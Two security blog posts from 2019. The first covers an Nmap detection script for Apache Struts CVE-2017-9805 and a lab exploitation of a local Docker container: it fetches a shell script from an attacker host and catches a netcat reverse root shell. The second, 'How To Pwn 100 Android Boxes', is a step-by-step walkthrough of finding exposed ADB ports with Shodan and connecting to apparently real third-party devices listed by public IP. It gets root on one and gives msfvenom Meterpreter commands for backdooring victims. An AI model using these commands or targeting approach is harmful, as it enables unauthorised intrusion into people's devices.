Tuesday, February 5, 2019

Detecting Apache Struts S2-052

Introduction


Here's a Nmap NSE script I wrote to detect the 2nd variant of Apache Struts REST Plugin XStream Remote Code Execution Vulnerability, CVE-2017-9805. Script is downloadable here. This was one of the infamous vulnerability that hit Equifax in 2017. The one that hit them was the 1st variant, CVE-2017-5638. Since there wasn't a NSE script to detect the 2nd variant, I decided to write my own.

Sample output:

$ sudo nmap -n --script ./http-vuln-cve2017-9805 -p 80 ptl-41af4f81-e25cbf8e.libcurl.so --script-args=/ -sSV 

Starting Nmap 7.70 ( https://nmap.org ) at 2019-02-05 17:22 +08
Nmap scan report for ptl-41af4f81-e25cbf8e.libcurl.so (104.131.54.221)
Host is up (0.29s latency).

PORT   STATE SERVICE VERSION
80/tcp open  http    nginx 1.6.2
|_http-server-header: nginx/1.6.2
| http-vuln-cve2017-9805: 
|   VULNERABLE:
|   Apache Struts REST Plugin XStream RCE
|     State: VULNERABLE
|     IDs:  CVE:CVE-2017-9805
|       The REST Plugin in Apache Struts 2.1.2 through 2.3.x before 2.3.34 and 2.5.x before 2.5.13 uses an XStreamHandler with an instance of XStream for 
|       deserialization without any type filtering, which can lead to Remote Code Execution when deserializing XML payloads
|           
|     Disclosure date: 2017-09-15
|     References:
|       https://www.r00tpgp.com/2019/02/detecting-apache-struts-s2-052.html
|       https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-9805
|       https://cwiki.apache.org/confluence/display/WW/S2-052
|_      https://lgtm.com/blog/apache_struts_CVE-2017-9805_announcement

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 9.38 seconds


Code


The code is pretty simple, the magic happens on line no 67 and 80:


On line 67, contains the payload, an exploit would usually have the evil cmd inserted here. Since this is just a detection script, there is no need for it. If vulnerable, the server will respond with HTTP 200 stack trace dump containing key words such as "org.apache.struts2.rest.handler.XStreamHandler.toObject". Line no 80 does a comparison operator agaisnt the  http response for the matching string. This is is the indicator that the host is running Apache Struts2 XStreamHandler object and very likely to be vulnerable to RCE.

Exploitation


For testing purposes, you can download a vulnerable docker here.

$ sudo docker pull medicean/vulapps:s_struts2_s2-052
s_struts2_s2-052: Pulling from medicean/vulapps
8ad8b3f87b37: Pull complete 
751fe39c4d34: Pull complete 
b165e84cccc1: Pull complete 
acfcc7cbc59b: Pull complete 
04b7a9efc4af: Pull complete 
b16e55fe5285: Pull complete 
8c5cbb866b55: Pull complete 
96290882cd1b: Pull complete 
85852deeb719: Pull complete 
ff68ba87c7a1: Pull complete 
584acdc953da: Pull complete 
dd3a387a5bb7: Pull complete 
d7cf4f910c29: Pull complete 
c181fe02fed0: Pull complete 
d2d0ca101682: Pull complete 
Digest: sha256:fda2fe3b6df63b95d0e258d0f2822282fb627df7bf86e09c31a76b1a56403130
Status: Downloaded newer image for medicean/vulapps:s_struts2_s2-052

Once that is done, run it on port 80:

$ sudo docker run -d -p 80:8080 medicean/vulapps:s_struts2_s2-052
ebcfc7292899201c56dee30f8bec934d271a7c93e504cc33d7f451642aae0616

Check if its up:

$ sudo docker container ls
CONTAINER ID        IMAGE                               COMMAND                  CREATED             STATUS              PORTS                  NAMES
ebcfc7292899        medicean/vulapps:s_struts2_s2-052   "/usr/local/tomcat/b…"   12 seconds ago      Up 9 seconds        0.0.0.0:80->8080/tcp   upbeat_visvesvaraya

Great! Now let's see if my NSE script works:

$ sudo nmap --script http-vuln-cve2017-9805.nse localhost --script-args path=/orders -p 80
Starting Nmap 7.70 ( https://nmap.org ) at 2019-02-09 16:18 +08
Nmap scan report for localhost (127.0.0.1)
Host is up (0.00010s latency).
Other addresses for localhost (not scanned): ::1

PORT   STATE SERVICE
80/tcp open  http
| http-vuln-cve2017-9805: 
|   VULNERABLE:
|   Apache Struts REST Plugin XStream RCE
|     State: VULNERABLE
|     IDs:  CVE:CVE-2017-9805
|       The REST Plugin in Apache Struts 2.1.2 through 2.3.x before 2.3.34 and 2.5.x before 2.5.13 uses an XStreamHandler with an instance of XStream for 
|       deserialization without any type filtering, which can lead to Remote Code Execution when deserializing XML payloads
|           
|     Disclosure date: 2017-09-15
|     References:
|       https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-9805
|       https://www.r00tpgp.com/2019/02/detecting-apache-struts-s2-052.html
|       https://cwiki.apache.org/confluence/display/WW/S2-052
|_      https://lgtm.com/blog/apache_struts_CVE-2017-9805_announcement

Nmap done: 1 IP address (1 host up) scanned in 0.59 seconds


Bang! The vulnerability was detected, now let's download the exploit for cve-2017-9805 and pwn this box:

$ wget https://raw.githubusercontent.com/mazen160/struts-pwn_CVE-2017-9805/master/struts-pwn.py 
--2019-02-09 16:21:39--  https://raw.githubusercontent.com/mazen160/struts-pwn_CVE-2017-9805/master/struts-pwn.py
Resolving raw.githubusercontent.com (raw.githubusercontent.com)... 151.101.76.133
Connecting to raw.githubusercontent.com (raw.githubusercontent.com)|151.101.76.133|:443... connected.
HTTP request sent, awaiting response... 200 OK
Length: 13843 (14K) [text/plain]
Saving to: ‘struts-pwn.py’

struts-pwn.py                                100%[===========================================================================================>]  13.52K  --.-KB/s    in 0.09s   

2019-02-09 16:21:40 (144 KB/s) - ‘struts-pwn.py’ saved [13843/13843]

This exploit is a bit weird, I can't chain it in a oneliner so I had to do it step by step, first we download the bash shell from my host:

$ ./struts-pwn.py -u http://localhost/orders -c "wget http://192.168.43.216:81/shell.sh -O /tmp/shell.sh" --exploit

[*] URL: http://localhost/orders
[*] CMD: wget http://192.168.43.216:81/shell.sh -O /tmp/shell.sh
[$] Request sent.
[.] If the host is vulnerable, the command will be executed in the background.
[%] Done.

On my machine, I run simple HTTP server using python, I know I got RCE since the victim connected to download the shell:

$ sudo python -m SimpleHTTPServer 81
Serving HTTP on 0.0.0.0 port 81 ...
172.17.0.2 - - [09/Feb/2019 17:00:19] "GET /shell.sh HTTP/1.1" 200 -

Its time to execute the exploit on the target:

$ ./struts-pwn.py -u http://localhost/orders -c "bash /tmp/shell.sh" --exploit

[*] URL: http://localhost/orders
[*] CMD: bash /tmp/shell.sh
[$] Request sent.
[.] If the host is vulnerable, the command will be executed in the background.
[%] Done.


Finally, my netcat listener should pick it up, always remember to run this before you execute the exploit:

$ nc -nlvp 1234
listening on [any] 1234 ...
connect to [192.168.43.216] from (UNKNOWN) [172.17.0.2] 40786
bash: cannot set terminal process group (1): Inappropriate ioctl for device
bash: no job control in this shell
root@ebcfc7292899:/tmp# uname -a            
uname -a
Linux ebcfc7292899 4.18.0-kali3-amd64 #1 SMP Debian 4.18.20-2kali2 (2018-11-30) x86_64 GNU/Linux
root@ebcfc7292899:/tmp#       

Summary

There you go folks, I just showed you how I wrote a Nmap NSE script to detect this vulnerability, setup a vulnerable docker image and exploit the vulnerability step by step, there are easier ways I am sure, just use burpsuite to POST the vulnerable code to the target instead of having to blindly execute the exploit script multiple times. Always understand how the exploit works and what you are doing, break down the steps in smaller steps until you get the desired results.

Saturday, February 2, 2019

How To Pwn 100 Android Boxes

Background

Back in 2018, there were reports that many Android IoT manufacturers were shipping Android TV boxes with ADB Debug Bridge activated by default. When such devices are connected to the Internet, by default it listens on port 5555/tcp. This is due to a manufacturer misconfiguration. The feature is supposed to be only used by developers to remotely debug Android apps, there is no reason why it should be turned ON in the first place. If left in the wrong hands, a hacker can remotely install, take screenshots, turn on webcams, download and upload apps to vulnerable devices. Furthermore, some devices were pre-rooted, hence, a hacker can escalate to root using "su -" without password. It is so easy to exploit, there are several Monero mining bots exploiting this vulnerability in the wild.


Purpose

What I am about to show you is how to pwn 100 of these devices in under 10mins. This is merely for demo purposes and I will not be held responsible for any misuse or unlawful activities. I do not condone any activities that are against the Law. Do note that I did not run anything malicious on the vulnerable targets, I will leave the evil bits for your moral judgment to decide upon. So please be reminded this is purely for EDUCATIONAL PURPOSES ONLY.

Target Recon  With Shodan.io


1. Using Shodan API, you can download vulnerable targets, over here I am using shodan python API script to query for 100 vulnerable Android devices:

$ shodan download --limit 100 shodan-adb.txt Android Debug Bridge
Search query: Android Debug Bridge
Total number of results: 21134
Query credits left: 100
Output file: shodan-adb.txt.json.gz
  [###################################-]   99%  00:00:02
Saved 100 results into file shodan-adb.txt.json.gz

1a. The output is by default in json format:

$ zcat shodan-adb.txt.json.gz 
{"_shodan": {"id": "19e30085-0185-4a04-a3e1-bc360e51a992", "options": {}, "ptr": true, "module": "http-simple-new", "crawler": "d264629436af1b777b3b513ca6ed1404d7395d80"}, "prod
uct": "Android Debug Bridge", "hash": -527783761, "os": null, "opts": {"raw": "434e584e000000010010000069000000d7260000bcb1a7b16465766963653a3a726f2e70726f647563742e6e616d653d74
61696d656e3b726f2e70726f647563742e6d6f64656c3d504958454c203220584c3b726f2e70726f647563742e6465766963653d7461696d656e3b66656174757265733d636d642c7368656c6c5f7632"}, "ip": 3552705
273, "isp": "Korea Telecom", "http": {"robots_hash": null, "redirects": [], "securitytxt": null, "title": null, "sitemap_hash": null, "robots": null, "server": null, "host": "21
1.193.250.249", "html": null, "location": "/", "html_hash": null, "sitemap": null, "securitytxt_hash": null}, "port": 5555, "hostnames": [], "location": {"city": "Jeju", "region
_code": "01", "area_code": null, "longitude": 126.53930000000003, "country_code3": "KOR", "country_name": "Korea, Republic of", "postal_code": null, "dma_code": null, "country_c
ode": "KR", "latitude": 33.45580000000001}, "timestamp": "2019-02-01T15:16:24.994715", "domains": [], "org": "Korea Telecom", "data": "Android Debug Bridge\nName: taimen\nModel:
 PIXEL 2 XL\nDevice: taimen\n", "asn": "AS4766", "transport": "tcp", "ip_str": "211.193.250.249"}
{"_shodan": {"id": "22de199d-d671-451b-8880-96c8fe411e4f", "options": {}, "ptr": true, "module": "http-simple-new", "crawler": "5faf2928ceb560cb4276cc1b4660b2d763cc6397"}, "prod
uct": "Android Debug Bridge", "hash": -748033244, "os": null, "opts": {"raw": "434e584e000000010010000059000000001f0000bcb1a7b16465766963653a3a726f2e70726f647563742e6e616d653d6d
3230315f3531326d3b726f2e70726f647563742e6d6f64656c3d536d6172745f54563b726f2e70726f647563742e6465766963653d6d3230315f3531326d3b00"}, "ip": 3201925557, "isp": "Telefonica del Sur 
S.A.", "http": {"robots_hash": null, "redirects": [], "securitytxt": null, "title": null, "sitemap_hash": null, "robots": null, "server": null, "host": "190.217.129.181", "html"
: null, "location": "/", "html_hash": null, "sitemap": null, "securitytxt_hash": null}, "port": 5555, "hostnames": [], "location": {"city": "Villarrica", "region_code": "04", "a
rea_code": null, "longitude": -72.2167, "country_code3": "CHL", "country_name": "Chile", "postal_code": null, "dma_code": null, "country_code": "CL", "latitude": -39.26669999999
9986}, "timestamp": "2019-02-01T15:15:08.823312", "domains": [], "org": "Telefonica del Sur S.A.", "data": "Android Debug Bridge\nName: m201_512m\nModel: Smart_TV\nDevice: m201_
512m\n", "asn": "AS14117", "transport": "tcp", "ip_str": "190.217.129.181"}
....
..
blah
blah

2. Let's parse them into a readable format:

$ shodan parse --fields ip_str shodan-adb.txt.json.gz > shodan-adb.txt
$ cat shodan-adb.txt
211.193.250.249
190.217.129.181
211.104.178.191
118.161.216.47
24.222.139.184
183.151.182.140
175.125.24.143
114.37.207.133
218.191.106.190
220.118.42.222
113.254.141.47
1.163.112.179
91.247.107.164
...
...
blah
blah

2. The targets are probably home devices, therefore, very likely to be on dynamic ip address. To ensure that these targets are still alive and listening on port 5555, I like to Nmap them one more time:

$ nmap -iL shodan-adb.txt -p 5555 -n -oG adb-alive
$ cat adb-alive 
# Nmap 7.70 scan initiated Fri Feb  1 23:25:02 2019 as: nmap -iL shodan-adb.csv -p 5555 -n -oG adb-alive
Host: 190.217.129.181 () Status: Up
Host: 190.217.129.181 () Ports: 5555/open/tcp//freeciv///
Host: 118.161.216.47 () Status: Up
Host: 118.161.216.47 () Ports: 5555/open/tcp//freeciv///
Host: 24.222.139.184 () Status: Up
Host: 24.222.139.184 () Ports: 5555/open/tcp//freeciv///
Host: 175.125.24.143 () Status: Up
Host: 175.125.24.143 () Ports: 5555/open/tcp//freeciv///
Host: 218.191.106.190 () Status: Up
Host: 218.191.106.190 () Ports: 5555/open/tcp//freeciv///
Host: 113.254.141.47 () Status: Up
Host: 113.254.141.47 () Ports: 5555/open/tcp//freeciv///
Host: 91.247.107.164 () Status: Up
Host: 91.247.107.164 () Ports: 5555/open/tcp//freeciv///
Host: 49.72.210.171 () Status: Up
Host: 49.72.210.171 () Ports: 5555/open/tcp//freeciv///
Host: 114.39.245.43 () Status: Up
...
....
...
blah
blah..

Connecting via ADB to port 5555

1. Before I connect to the targets, I need to format it a bit, so some awk magic  should do the trick ;-)

$cat adb-alive | grep "5555/open" | awk {'print "adb connect " $2":5555"'} > run-adb-connect.sh
$ cat run-adb-connect.sh
adb connect 190.217.129.181:5555
adb connect 118.161.216.47:5555
adb connect 24.222.139.184:5555
adb connect 175.125.24.143:5555
adb connect 218.191.106.190:5555
adb connect 113.254.141.47:5555
adb connect 91.247.107.164:5555
adb connect 49.72.210.171:5555
adb connect 114.39.245.43:5555
adb connect 178.163.11.211:5555
adb connect 203.115.98.94:5555
adb connect 14.136.53.43:5555
adb connect 190.95.46.226:5555
adb connect 212.75.143.220:5555
adb connect 83.209.25.67:5555
adb connect 211.215.164.133:5555
adb connect 213.113.235.218:5555
adb connect 121.34.28.60:5555
adb connect 117.215.191.170:5555
adb connect 121.202.94.21:5555
adb connect 186.95.32.108:5555
adb connect 222.117.48.55:5555
adb connect 61.74.128.26:5555
.....
..
blah
blah.

2. OK, now that everything is ready, it is time to execute my script to connect to the targets
./run-adb-connect.sh 
already connected to 190.217.129.181:5555
connected to 118.161.216.47:5555
connected to 24.222.139.184:5555
connected to 175.125.24.143:5555
connected to 218.191.106.190:5555
connected to 113.254.141.47:5555
connected to 91.247.107.164:5555
connected to 49.72.210.171:5555
connected to 114.39.245.43:5555
connected to 178.163.11.211:5555
connected to 203.115.98.94:5555
connected to 14.136.53.43:5555
connected to 190.95.46.226:5555
connected to 212.75.143.220:5555
connected to 83.209.25.67:5555
connected to 211.215.164.133:5555
connected to 213.113.235.218:5555
connected to 121.34.28.60:5555
connected to 117.215.191.170:5555
connected to 121.202.94.21:5555
connected to 186.95.32.108:5555
connected to 222.117.48.55:5555
connected to 61.74.128.26:5555
connected to 180.231.9.40:5555
connected to 123.202.214.136:5555
connected to 112.119.26.150:5555
connected to 3.87.24.81:5555
connected to 110.12.38.184:5555

....

..
blah
blah
3. Cool! Loads of targets connected. Now, lets check our loot:
$ adb devices -l
List of devices attached
175.123.154.132:5555   device product:BHX-S100 model:BHX_S100 device:BHX-S100 transport_id:48
14.45.245.156:5555     device product:SM-G930S model:SM_G930S device:x86 transport_id:47
218.250.50.75:5555     device product:mars_a31s model:Q_BOX_02 device:mars-a31s transport_id:46
190.73.138.178:5555    device product:android_x86 model:Intel_powered_classmate_PC device:x86 transport_id:45
41.77.214.61:5555      device product:CVTE_MSD338_512M_PC821 model:CVTE_MSD338_512M device:CVTE_MSD338_512M_PC821 transport_id:44
93.7.87.40:5555        device product:rk322x_box model:HK1_MINI device:rk322x_box transport_id:43
121.132.211.218:5555   device product:Hi3796MV100 model:Hi3796MV100 device:Hi3796MV100 transport_id:42
110.12.38.184:5555     device product:p20x model:TV006 device:kiii_2g transport_id:41
3.87.24.81:5555        device product:cloud model:Genymotion__Phone__version device:cloud transport_id:40
112.119.26.150:5555    device product:dolphin_fvd_p1 model:Global_Edition_S800 device:dolphin-fvd-p1 transport_id:39
123.202.214.136:5555   device product:rk3328_box model:BOSSTV_V2 device:rk3328_box transport_id:38
180.231.9.40:5555      device product:tvg2a model:S60UPI device:tvg2a transport_id:37
61.74.128.26:5555      device product:android_x86 model:Default_string device:x86 transport_id:36
222.117.48.55:5555     device product:ja3gxx model:GT_I9500 device:ja3g transport_id:35
186.95.32.108:5555     device product:android_x86 model:H61H2_CM device:x86 transport_id:34
121.202.94.21:5555     device product:msm8909 model:N5 device:msm8909 transport_id:33
117.215.191.170:5555   device product:hlteuc model:SAMSUNG_SM_N900A device:hlteatt transport_id:32
121.34.28.60:5555      device product:rk3328_box model:L1PRO device:rk3328_box transport_id:31
213.113.235.218:5555   device product:rk322x_box model:AILETV device:rk322x_box transport_id:30
211.215.164.133:5555   device product:petrel_fvd_p1 model:EVPAD_3PRO device:petrel-p1 transport_id:29
83.209.25.67:5555      device product:p201 model:MXQ_Pro device:p201 transport_id:28
212.75.143.220:5555    device product:rk322x_box model:TTK_Box_214 device:rk322x transport_id:27
190.95.46.226:5555     device product:aosp_cranberry model:SMART device:cranberry transport_id:26
14.136.53.43:5555      device product:mars_a31s model:Q_BOX_02 device:mars-a31s transport_id:25
203.115.98.94:5555     device product:QezyTV Remotely Managed STB model:HD700 device:QezyTV transport_id:24
178.163.11.211:5555    device product:NV501WAC model:NV501WAC device:NV501WAC transport_id:23
114.39.245.43:5555     device product:ghost_retasia model:XT1052 device:ghost transport_id:22
49.72.210.171:5555     device product:MagicBox_M16C model:MagicBox_M16C device:MagicBox_M16C transport_id:21
91.247.107.164:5555    device product:g18ref model:Android_TV device:g18ref transport_id:20
113.254.141.47:5555    device product:mars_a31s512m model:Quad_Core device:mars-a31s512m transport_id:19
218.191.106.190:5555   device product:VIDAA_TV model:VIDAA_TV device:Hi3751 transport_id:18
...
..
blah
blah.

4. As you can see, there are tons of vulnerable Android boxes out there :-) Lets connect to one target that appears to be a Samsung S7 phone:

$ adb -s 14.45.245.156 shell
root@x86:/ # id     
uid=0(root) gid=0(root) groups=1003(graphics),1004(input),1007(log),1011(adb),1015(sdcard_rw),1028(sdcard_r),3001(net_bt_admin),3002(net_bt),3003(inet),3006(net_bw_stats)
root@x86:/ # uname -a
Linux localhost 4.0.9-android-x86 #1 SMP PREEMPT Wed Oct 25 02:01:32 PDT 2017 i686 GNU/Linux
root@x86:/ # uptime
up time: 09:55:06, idle time: 06:30:03, sleep time: 00:00:00
root@x86:/ # df                                                              
Filesystem               Size     Used     Free   Blksize
/                      501.6M     2.4M   499.2M   4096
/dev                   502.4M    32.0K   502.4M   4096
/sys/fs/cgroup         502.4M    12.0K   502.4M   4096
/system                591.2M   447.0M   144.2M   4096
/cache                 369.5M   212.0K   369.3M   4096
/data                   11.4G     3.9G     7.6G   4096
/mnt/asec              502.4M     0.0K   502.4M   4096
/mnt/obb               502.4M     0.0K   502.4M   4096
/mnt/temp              502.4M     8.0K   502.4M   4096
/mnt/shared/Applications    48.8G    35.6G    13.2G   4096
/mnt/shared/Pictures    48.8G    35.6G    13.2G   4096
/mnt/shared/Misc        48.8G    35.6G    13.2G   4096
/mnt/shared/Bug         48.8G    35.6G    13.2G   4096
/data/media/0/Applications    48.8G    35.6G    13.2G   4096
/data/media/0/Pictures    48.8G    35.6G    13.2G   4096
/data/media/0/Misc      48.8G    35.6G    13.2G   4096
/mnt/shell/emulated     11.4G     3.9G     7.6G   4096
root@x86:/ # >


5. W00t! We already got r00t on one target. If you are smart, you can script this command further to hunt for more r00ted devices.

Backdooring with Metepreter

Optionally, you can  generate your own Meterpreter shell and upload it to the victims, though I feel this is a waste of time as adb provides way more cool/evil features:

1. Gen meterpreter payload:

$ msfvenom -p android/meterpreter/reverse_tcp LHOST=<YOUR IP> LPORT=4444 -f raw -o android.apk

2. Upload it to targets:

$ adb -s <TARGET IP>:5555 install android.apk

3. Start msfconsole listener:

# msfconsole
use exploit/multi/hander
use payload android/meterpreter/reverse_tcp
set LHOST xxxxxx
set LPORT xxxxxx
run

4. Start the meterpreter shell:

$ adb shell am start -a android.intent.action.MAIN -n com.metasploit.stage/.MainActivity


Summary

There are many evil commands can be executed using adb. Just refer to https://developer.android.com/studio/command-line/adb. You can practically do anything to the android box since you are root. The great part about 0wning Android devices is that you don't have to deal with Anti-Viruses, as hardly anyone installs it on mobile devices.

References

https://www.bleepingcomputer.com/news/security/tens-of-thousands-of-android-devices-are-exposing-their-debug-port/
https://forum.xda-developers.com/android/software/guide-installing-adb-fastboot-linux-adb-t3478678
https://futurestud.io/tutorials/how-to-debug-your-android-app-over-wifi-without-root
https://medium.com/@madrobot/exploiting-android-devices-running-insecure-remote-adb-service-4490cc6a2282
https://resources.infosecinstitute.com/lab-android-exploitation-with-kali/#gref
https://github.com/rapid7/metasploit-framework/blob/master/documentation/modules/payload/android/meterpreter/reverse_tcp.md